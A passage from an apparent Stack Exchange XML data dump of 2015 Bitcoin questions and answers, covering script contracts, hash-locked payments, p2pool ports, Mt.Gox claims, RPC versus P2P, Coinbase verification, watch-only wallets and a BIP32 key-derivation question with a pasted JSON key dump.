noreferrer&quot;&gt;suggested&lt;/a&gt; a scheme that would use three p2sh addresses. But a reply asks whether the loser might get around the restriction by claiming the funds before the winner:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;Maybe side A is one p2sh address, side B is another p2sh address, and both scripts specify as outputs a third p2sh address that's a sort of 1-of-2 multi-sig address where each charity holds one of the two privkeys. Its not multi-sig exactly, because the additional restrictions are nLockTime, and for charity A to claim the funds, the inputs to the side A p2sh need to be greater than the inputs to side B p2sh.&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;Suppose for concreteness that A gets 10 1BTC donations and B gets 9. What stops B from broadcasting a transaction using all 9 B donations and 8 of the 10 A donations?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;Is there a way to implement this as a crowdfunding-like contract in bitcoin script?&lt;/p&gt;&#xA;" OwnerUserId="24504" LastActivityDate="2015-02-27T13:47:48.793" Title="bitcoin script for a competitive crowdfunding-like contract" Tags="|transactions|script|contracts|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36230" PostTypeId="2" ParentId="36229" CreationDate="2015-02-26T16:22:15.327" Score="1" Body="&lt;p&gt;There's no capability in the Bitcoin scripting language to access blockchain related data that isn't included either in the transaction or the output script that the transaction is trying to spend. This basically means that you won't be able to calculate and compare total address balance in the script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need a third party intermediary who can assess which party has more bitcoins in their account. &lt;/p&gt;&#xA;" OwnerUserId="7267" LastActivityDate="2015-02-26T16:22:15.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36233" PostTypeId="2" ParentId="36224" CreationDate="2015-02-26T17:18:03.650" Score="6" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What are the specific changes which have been made (ie relaxed standards)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Gavin Andresen made &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/4365&quot; rel=&quot;nofollow&quot;&gt;this pull request&lt;/a&gt; proposing the change, as well as &lt;a href=&quot;https://gist.github.com/gavinandresen/88be40c141bc67acb247&quot; rel=&quot;nofollow&quot;&gt;this rationale document&lt;/a&gt; describing why he supported the change.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Does it only apply to P2SH Txns?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It applies only to P2SH &lt;a href=&quot;https://bitcoin.org/en/developer-guide#term-redeem-script&quot; rel=&quot;nofollow&quot;&gt;redeem scripts&lt;/a&gt;, which is the script that is run to see if you have the data required to spend an output sent to a P2SH address.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Finally, &quot;n-of-m OR y&quot; and hash-locked oracle addresses are mentioned as examples: what does this refer to exactly?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;n-of-m OR y&lt;/code&gt; refers to a script that checks for multiple signatures from a set of keys OR a single signature from another key.  For example, if Alice owns a business and Bob and Charlie are her employees, she can allow Bob and Charlie to work together to spend her bitcoins (2-of-2) or Alice (&quot;y&quot;) can spend her bitcoins on her own.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;hash-locked oracle&lt;/code&gt; means, generally, that you can create a transaction that can only be spent when the hash of some data is provided.  For example, &lt;a href=&quot;http://lightning.network/lightning-network.pdf&quot; rel=&quot;nofollow&quot;&gt;this PDF&lt;/a&gt; (page 24) describes a hash-locked contract with three parties: Alice, Bob, and Charlie.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Alice wants to pay 1.00 BTC to Charlie through Bob.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Charlie randomly generates a large number &lt;em&gt;r&lt;/em&gt; and then hashes (HASH160) that number to produce &lt;em&gt;h&lt;/em&gt;.  The value &lt;em&gt;r&lt;/em&gt; is the oracle and the value &lt;em&gt;h&lt;/em&gt; is the hash lock.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Charlie gives hash &lt;em&gt;h&lt;/em&gt; to Alice.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(Transaction 1) Alice gets Bob's pubkey and pays him 1.01 BTC in an output with a script like: &lt;code&gt;&amp;lt;Bob's pubkey&amp;gt; CHECKSIGVERIFY HASH160 &amp;lt;hash h&amp;gt; EQUAL&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(Transaction 2) Bob can't spend that output without the number &lt;em&gt;r&lt;/em&gt; that generated hash &lt;em&gt;h&lt;/em&gt;, but he knows Charlie has the number &lt;em&gt;r&lt;/em&gt; so Bob gets Charlie's address and pays him 1.00 BTC with a script like: &lt;code&gt;&amp;lt;Charlie's pubkey&amp;gt; CHECKSIGVERIFY HASH160 &amp;lt;hash h&amp;gt; EQUAL&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(Transaction 3) Charlie spends the output from transaction 2 by creating the signature script: &lt;code&gt;&amp;lt;number r&amp;gt; &amp;lt;Charlie's signature&amp;gt;&lt;/code&gt;  This means &lt;em&gt;r&lt;/em&gt; is revealed on the block chain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(Transaction 4) Bob sees &lt;em&gt;r&lt;/em&gt; on the block chain and uses it at some point to spend the output from transaction 1: &lt;code&gt;&amp;lt;number r&amp;gt; &amp;lt;Bob's signature&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The example above seems overly contrived, but the PDF linked above uses it as part of a micropayment channel that allows settling transactions off the block chain in a distributed and low-trust manner, possibly allowing Bitcoin to scale much better than it does without such a system.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="21052" LastEditDate="2015-02-27T16:11:44.083" LastActivityDate="2015-02-27T16:11:44.083" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36235" PostTypeId="2" ParentId="34107" CreationDate="2015-02-26T21:22:06.643" Score="1" Body="&lt;p&gt;They just removed the gen-generation part from the sources as it's not needed after the genesis being generated and already implemented (hardcoded) into the sources. &lt;/p&gt;&#xA;" OwnerUserId="24510" LastEditorUserId="5406" LastEditDate="2015-02-26T22:09:43.953" LastActivityDate="2015-02-26T22:09:43.953" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36236" PostTypeId="2" ParentId="36211" CreationDate="2015-02-27T03:43:31.970" Score="0" Body="&lt;p&gt;The p2pool node communicates on more than one port. By default, miners connect to the node on port &lt;strong&gt;9332&lt;/strong&gt; and other p2pool nodes (&quot;peers&quot;) connect on port 9333.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So just switch your miner to port &lt;strong&gt;9332&lt;/strong&gt;, that should fix your issue.&lt;/p&gt;&#xA;" OwnerUserId="10654" LastActivityDate="2015-02-27T03:43:31.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36237" PostTypeId="2" ParentId="36182" CreationDate="2015-02-27T05:34:32.883" Score="1" Body="&lt;p&gt;Unfortunately you are in the same boat as all the people that had BTC at Mt.Gox. Think about it positively, you are now part of a club of people that all had their money stolen / lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are keen to try and get your money back, keep checking in at &lt;a href=&quot;http://www.reddit.com/r/mtgoxinsolvency&quot; rel=&quot;nofollow&quot;&gt;http://www.reddit.com/r/mtgoxinsolvency&lt;/a&gt;. But if you are taking this route, prepare to be really patient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the latest update from the above reddit thread.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;LAST UPDATE: 3 JANUARY 2015 11:00 AM GMT&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;NOTE: Progress is slow nowadays, so this current state of affairs sticky thread should be up to date.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A note on recovering funds: From announcement dated 26 November 2014:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The deadline for filing the proof of claims of bankruptcy in these bankruptcy proceedings is set as May 29, 2015, and we plan to disclose the necessary information one or two months prior to the said deadline. The bankruptcy trustee will make effort to ensure that creditors around the world have a reasonable period of time in which to file proofs of claim.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Important dates: From announcement dated July 24th 2014:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Period for filing proofs of bankruptcy claims: By May 29, 2015&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Date and time for investigation of claims: September 9, 2015, 1:30 pm.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5061" LastActivityDate="2015-02-27T05:34:32.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36238" PostTypeId="1" CreationDate="2015-02-27T08:10:10.450" Score="1" ViewCount="93" Body="&lt;p&gt;Consider the following scenario&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User A stores an image on a DHT and receives a SHA-256 hash in return. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;User A wants to prove ownership of the data has, so he registers a username on the namecoin blockchain and receives a public-private key pair in return.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User B want proof that user A owns the DHT hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 Questions&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How does User A 'sign' the DHT hash with his namecoin private key?&lt;/li&gt;&#xA;&lt;li&gt;How does User B get proof that User A signed the DHT hash with their namecoin private key?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="24514" LastActivityDate="2015-02-27T08:10:10.450" Title="Signing data with a namecoin private key?" Tags="|namecoin|cryptography|" AnswerCount="0" CommentCount="4" ClosedDate="2019-07-17T20:55:22.140" ContentLicense="CC BY-SA 3.0" />
  <row Id="36239" PostTypeId="2" ParentId="36113" CreationDate="2015-02-27T10:06:35.237" Score="3" Body="&lt;p&gt;The P2P protocol is how Bitcoin nodes talk to eachother. All Bitcoin software implements (part of) this protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The RPC protocol is how you communicate with Bitcoin Core's bitcoind. Other Bitcoin software may have other ways of operating it.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-02-27T10:06:35.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36240" PostTypeId="2" ParentId="36113" CreationDate="2015-02-27T10:07:32.593" Score="6" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What are these designed to accomplish?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;a href=&quot;https://bitcoin.org/en/developer-guide#p2p-network&quot; rel=&quot;noreferrer&quot;&gt;peer-to-peer network&lt;/a&gt; is designed primarily to communicate blocks and transactions between full nodes.  It has also been extended over time to allow SPV clients to request filtered data, as well as to communicate alerts for full nodes[1] and to distribute address information for full nodes that accept incoming connections.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;a href=&quot;https://bitcoin.org/en/developer-reference#remote-procedure-calls-rpcs&quot; rel=&quot;noreferrer&quot;&gt;RPC interface&lt;/a&gt; is designed to allow users to operate Bitcoin Core, either manually or programatically.  About half of its calls are related to Bitcoin Core's optional built-in wallet, with the other half being split among control functions, data retrieval functions, and utility functions.  A new &lt;a href=&quot;https://bitcoin.org/en/developer-reference#http-rest&quot; rel=&quot;noreferrer&quot;&gt;HTTP REST interface&lt;/a&gt; also provides some data retrieval functions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;[1] Only Bitcoin Core uses this feature currently, although it's possible for the network to handle alerts propagated by other software.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If I'm trying to implement a wallet that doesn't need bitcoind to be installed to work, which one should I use?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;All wallets need Bitcoin Core to be installed somewhere, but it's possible to write a wallet that communicates with other people's Bitcoin Core instances using the peer-to-peer protocol.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What existing libraries implement the low-level details of these protocols?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The most popular library for interfacing with the peer-to-peer network is &lt;a href=&quot;http://bitcoinj.github.io/&quot; rel=&quot;noreferrer&quot;&gt;BitcoinJ&lt;/a&gt; (Java/Javascript).  Not as complete, &lt;a href=&quot;https://github.com/petertodd/python-bitcoinlib&quot; rel=&quot;noreferrer&quot;&gt;python-bitcoinlib&lt;/a&gt; provides code that is often line-for-line identical to Bitcoin Core (accounting for differences between C++/Python).  Other libraries exist, but most focus on interacting with the protocol as a client and do not fully implement the server-side.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For the RPC-JSON interface, some libraries such as &lt;a href=&quot;https://github.com/darioteixeira/ocaml-bitcoin&quot; rel=&quot;noreferrer&quot;&gt;ocaml Bitcoin&lt;/a&gt; provide an extensive wrapper around the native RPC-JSON interface, adding typing and other features.  However, all that is required to interface with Bitcoin Core's RPC-JSON interface is a library that handles HTTP sockets and a library that processes JSON.  (But, if you implement this yourself, please read the &lt;a href=&quot;https://en.bitcoin.it/wiki/Proper_Money_Handling_%28JSON-RPC%29&quot; rel=&quot;noreferrer&quot;&gt;proper money handling wiki page&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="2306" LastEditDate="2015-02-27T16:54:27.420" LastActivityDate="2015-02-27T16:54:27.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36241" PostTypeId="1" CreationDate="2015-02-27T11:33:49.103" Score="0" ViewCount="299" Body="&lt;p&gt;I use coinbase to transfer BTC for few monthes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything used to be ok up to today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suddenly got message &quot;Please complete verifications to send money&quot;.&#xA;I did not ever get this message before. Googling gives nothing.&#xA;My phone number is verified and nothing in the settings page explains what exactly is the problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, share your thoughts - what could this be and what should I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course I wrote to support, but no response yet...&lt;/p&gt;&#xA;" OwnerUserId="24515" LastActivityDate="2015-02-27T13:46:12.600" Title="Coinbase denies transaction: Please complete verifications to send money" Tags="|coinbase.com|error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36242" PostTypeId="2" ParentId="36211" CreationDate="2015-02-27T13:29:10.000" Score="0" Body="&lt;p&gt;Thanks for the help everyone! Got the p2pool server running last night.  Ended up recompiling a clean cloned Git of p2pool from foresttv (instead of the one on Bitmain), connected all miners to port 9332, and Voila!  One happy p2pool node!!&lt;/p&gt;&#xA;" OwnerUserId="24450" LastActivityDate="2015-02-27T13:29:10.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36243" PostTypeId="2" ParentId="36241" CreationDate="2015-02-27T13:46:12.600" Score="2" Body="&lt;p&gt;I finally got assistance from the support agent &lt;code&gt;David&lt;/code&gt;. He has explained the situation in details and helped me to solve the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To pass verifications, I needed to confirm email &amp;amp; phone on this page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.coinbase.com/verifications&quot; rel=&quot;nofollow&quot;&gt;https://www.coinbase.com/verifications&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I uploaded my ID photo on this page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.coinbase.com/verifications/documents/new&quot; rel=&quot;nofollow&quot;&gt;https://www.coinbase.com/verifications/documents/new&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that I have filled the following form with correct address &amp;amp; credentials:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.coinbase.com/settings/personal_details&quot; rel=&quot;nofollow&quot;&gt;https://www.coinbase.com/settings/personal_details&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that I was finally able to send the BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for patiance a assistance, David!&lt;/p&gt;&#xA;" OwnerUserId="24515" LastActivityDate="2015-02-27T13:46:12.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36244" PostTypeId="2" ParentId="36229" CreationDate="2015-02-27T13:47:48.793" Score="3" Body="&lt;p&gt;It can't be done with today's infrastructure. We can imagine two solutions.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;First solution: Bitcoin upgrades&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Script gets progressively more powerful with new opcodes. In this case I think there would actually have to be a new UTXO set index (which nodes don't currently even calculate) so the script could find all the payments to a particular address/with a particular marker and reflect upon them. You could then have people put money into outputs with scripts that say in pseudo-code:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If it's past a certain time&lt;/li&gt;&#xA;&lt;li&gt;Do the UTXO lookup to find all outputs tagged as being for party A&lt;/li&gt;&#xA;&lt;li&gt;Do the same lookup for party B&lt;/li&gt;&#xA;&lt;li&gt;Parse and sum them to figure out which one won. The existing instruction set might or might not be quite good enough for this, but re-enabling the opcodes that were panic disabled a long time ago doesn't seem impossible: just needs good unit tests.&lt;/li&gt;&#xA;&lt;li&gt;Then using the result of that calculation, require a signature originated by the winning address&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So the script architecture &lt;em&gt;could&lt;/em&gt; do this, with an extension and a few of the disabled opcodes being re-enabled. But the real question is - should it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The primary downside of allowing this sort of thing is that calculating the needed database indexes is computationally intensive and will slow nodes down, thus making them more expensive to run and hurting Bitcoin scaling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The upside is that this construction would be audited and verified by every network participant, which is the best security you can have in Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this particular use case, I'd probably feel the costs outweighed the benefits. The construction is IMO rather odd and uncompelling. It's possible though, that someone comes up with a use case for an OP_LOOKUP_OUTPUTS that actually is compelling, and we have been talking forever about making nodes calculate more indexes over the UTXO set. If we end up doing that for other reasons anyway, at that point exposing it via Script doesn't seem like such a big leap and making this construct as a &quot;pure&quot; smart contract would become possible (easy, even).&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Second solution: oracle network&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Since Bitcoin began there has been a debate about the balance between simplicity and power in scripting contracts. Bitcoin has a fairly restrictive scripting language, partly because in the early days it was found to be insufficiently well tested and open to security exploits, and reducing unused power was a quick way to stabilise the core. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ethereum is the exact opposite, it gives scripts enormous power and access to lots of expensive capabilities, like data storage slots. How secure it is, how resistant to DoS attacks and so on is currently an unresolved question, but we know from bitter experience with Bitcoin, Java, Flash, HTML/JS etc that sandboxing mobile code is extremely hard. They're gonna have their work cut out for them. &lt;em&gt;All&lt;/em&gt; mobile code sandboxes I know about have been found to have holes in them at some point, so nobody has &lt;em&gt;ever&lt;/em&gt; managed to do what Ethereum wants to do without recurring exploits. This is why the Bitcoin community is so conservative with increasing Script's power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be ideal if we could somehow create two scripting systems, one simple/trivial one that manages the movement of money in the core network and a more powerful one in which security breaches only impact the people using those features instead of everyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a couple of ways we can do this in Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One is to have an independent p2p network of oracles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts#Trust_minimization:_multiple_independent_oracles&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Contracts#Trust_minimization:_multiple_independent_oracles&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case each oracle has an identity and people pay to a threshold signature of pre-selected oracles. Each oracle runs the program independently and then signs with their private key if the program succeeds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem here is that you don't have much agility. Oracles can't come and go in the same way miners do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another is to use a side chain, when such technology becomes available. In this case the side chain does not contain any coins and two-way pegging is not necessary. Rather the side chain &quot;transactions&quot; just assert that a program was run and was satisfied. Oracles then &quot;mine&quot; the side chain thus proving that a hashpower majority ran the script and got the expected output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A final way is to use SNARKs, when such technology becomes available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The appeal of sandboxing things this way is that if, for example, a sandbox escape exploit is found in the dominant oracle implementation, it would result in oracle-locked outputs becoming stealable but not any other Bitcoin outputs, so the risk is contained.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Ethereum design in contrast binds things together more tightly. An exploit in the Ethereum contracts engine could result in the entire system breaking.&lt;/p&gt;&#xA;" OwnerUserId="24517" LastActivityDate="2015-02-27T13:47:48.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36245" PostTypeId="2" ParentId="5123" CreationDate="2015-02-27T14:56:24.647" Score="3" Body="&lt;p&gt;Since version 0.10.0 bitcoind has support for watch-only addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the text from the release notes:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h2&gt;Watch-only wallet support&lt;/h2&gt;&#xA;  &#xA;  &lt;p&gt;The wallet can now track transactions to and from wallets for which&#xA;  you know all addresses (or scripts), even without the private keys.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This can be used to track payments without needing the private keys&#xA;  online on a possibly vulnerable system. In addition, it can help for&#xA;  (manual) construction of multisig transactions where you are only one&#xA;  of the signers.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;One new RPC, &lt;code&gt;importaddress&lt;/code&gt;, is added which functions similarly to&#xA;  &lt;code&gt;importprivkey&lt;/code&gt;, but instead takes an address or script (in&#xA;  hexadecimal) as argument.  After using it, outputs credited to this&#xA;  address or script are considered to be received, and transactions&#xA;  consuming these outputs will be considered to be sent.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The following RPCs have optional support for watch-only: &lt;code&gt;getbalance&lt;/code&gt;,&#xA;  &lt;code&gt;listreceivedbyaddress&lt;/code&gt;, &lt;code&gt;listreceivedbyaccount&lt;/code&gt;, &lt;code&gt;listtransactions&lt;/code&gt;,&#xA;  &lt;code&gt;listaccounts&lt;/code&gt;, &lt;code&gt;listsinceblock&lt;/code&gt;, &lt;code&gt;gettransaction&lt;/code&gt;. See the RPC&#xA;  documentation for those methods for more information.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Compared to using &lt;code&gt;getrawtransaction&lt;/code&gt;, this mechanism does not require&#xA;  &lt;code&gt;-txindex&lt;/code&gt;, scales better, integrates better with the wallet, and is&#xA;  compatible with future block chain pruning functionality. It does mean&#xA;  that all relevant addresses need to added to the wallet before the&#xA;  payment, though.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Try &lt;code&gt;bitcoin-cli help importaddress&lt;/code&gt; (and the help texts for the other relevant commands listed above) for the details.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2015-02-27T14:56:24.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36246" PostTypeId="1" CreationDate="2015-02-27T17:47:51.050" Score="2" ViewCount="1759" Body="&lt;p&gt;If I have the public key and signature for a transaction how do I get the hash value that is used in verify(hash, sig, pubkey). I want to know how to work backwards from a raw transaction to get it,  not how to build it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is basically this one &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/16772/how-to-verify-the-signature-of-a-raw-transaction&quot;&gt;How to verify the signature of a raw transaction&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the answer given I think is for getting the Transaction ID hash which I have tried and it doesn't work. &lt;/p&gt;&#xA;" OwnerUserId="24520" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2024-01-02T23:07:45.917" Title="How do I get hash to verify transaction?" Tags="|signature|hash|ecdsa|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36247" PostTypeId="1" CreationDate="2015-02-27T19:25:24.247" Score="2" ViewCount="285" Body="&lt;p&gt;I have a bit of conceptual problem here,&#xA;Let's say I have a BIP32 implementation. If I derive two subkeys (1/2/1/2) and (1/2). is it possible to derive (1/2/1/2) from (1/2) with a subkey of (1/2)? I tried with chain_code and some other attributes but couldn't do so. by theory it should be possible to do so.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;   &quot;BTC_address_uncompressed&quot;: &quot;1Pgi2HfASCtdVRNvX9HAtExenob1P5XtND&quot;, &#xA;   &quot;address_uncompressed&quot;: &quot;1Pgi2HfASCtdVRNvX9HAtExenob1P5XtND&quot;, &#xA;   &quot;chain_code&quot;: &quot;2b8efcd0870f61cac59eada4a1134a4f85d6817dc9a3dd7bf05f36e6c441a86c&quot;, &#xA;   &quot;child_index&quot;: &quot;2&quot;, &#xA;   &quot;hash160&quot;: &quot;392c59e21bc90f9c64ecc231db10cb04536277d6&quot;, &#xA;   &quot;hash160_uncompressed&quot;: &quot;f8d53bbd2c19a6ba9e8f35acecea7c37e31f80b1&quot;, &#xA;   &quot;key_pair_as_sec&quot;: &quot;02f9f02c77c6941f6352a2dd0a49964855ca239f008cd3be82532dacda0a3c79cd&quot;, &#xA;   &quot;key_pair_as_sec_uncompressed&quot;: &quot;04f9f02c77c6941f6352a2dd0a49964855ca239f008cd3be82532dacda0a3c79cd3872f468b85780e4bdcf377d8edf489598db1c2599cda0b850485fca2dbfb2cc&quot;, &#xA;   &quot;netcode&quot;: &quot;BTC&quot;, &#xA;   &quot;parent_fingerprint&quot;: &quot;1d6a6638&quot;, &#xA;   &quot;private_key&quot;: &quot;yes&quot;, &#xA;   &quot;public_pair_x&quot;: &quot;113050249498765822977324374771814145675507826911953945709948991807419582282189&quot;, &#xA;   &quot;public_pair_x_hex&quot;: &quot;f9f02c77c6941f6352a2dd0a49964855ca239f008cd3be82532dacda0a3c79cd&quot;, &#xA;   &quot;public_pair_y&quot;: &quot;25532626935404182358748554952372223106065623765752497625888032090220560102092&quot;, &#xA;   &quot;public_pair_y_hex&quot;: &quot;3872f468b85780e4bdcf377d8edf489598db1c2599cda0b850485fca2dbfb2cc&quot;, &#xA;   &quot;public_version&quot;: &quot;xpub6DkSjhJroC5HcnATQeZbdVZ2jFvWFvRqtayUJrc3H7GQeZJkKnn1BzdjDXyfYybctt38hyhz6zCdwWUAV6RnZqPone2ogmbTURBWsEFijgB&quot;, &#xA;   &quot;secret_exponent&quot;: &quot;21957517685205718377964087536472375993731742179518736675030422350744044394236&quot;, &#xA;   &quot;secret_exponent_hex&quot;: &quot;308b83bc8496fba96b299ca060f8c4cd15201aef14319891118facee42fb56fc&quot;, &#xA;   &quot;subkey_path&quot;: &quot;1/2/1/2&quot;, &#xA;   &quot;tree_depth&quot;: &quot;4&quot;, &#xA;   &quot;wallet_key&quot;: &quot;xprv9zm6LBmxxpWzQJ5zJd2bGMcJBE61rThzXN3sWUCRimjRmkybnFTkeCKFNFRCnqUsSAPB6AP38ENJNqzwmi51KxsUpNU5Rns3UwNCNw93VWi&quot;, &#xA;   &quot;wif&quot;: &quot;Kxr5MqcX6p1kCHLYhAtDA8dsuihHC3YJRfQfzrPUi9DZAbv1co8g&quot;, &#xA;   &quot;wif_uncompressed&quot;: &quot;5JBfbdPYk1EJwfbLR49RxYBd1ASthZkLopfttAq96F6ZfSXB2uK&quot;, &#xA;   &quot;y_parity&quot;: &quot;even&quot;&#xA;}&#xA;{&#xA;   &quot;BTC_address_uncompressed&quot;: &quot;1CpmMHVTTn49351P4miiJZ6Wmw7rDJbg3z&quot;, &#xA;   &quot;address_uncompressed&quot;: &quot;1CpmMHVTTn49351P4miiJZ6Wmw7rDJbg3z&quot;, &#xA;   &quot;chain_code&quot;: &quot;566d6d36816b37d1bc9f0f926c1bcf48b9bf6c63154f65be05092a7ce0bac35d&quot;, &#xA;   &quot;child_index&quot;: &quot;2&quot;, &#xA;   &quot;hash160&quot;: &quot;387e7a981a85ded4ad332ac22400d542de38a978&quot;, &#xA;  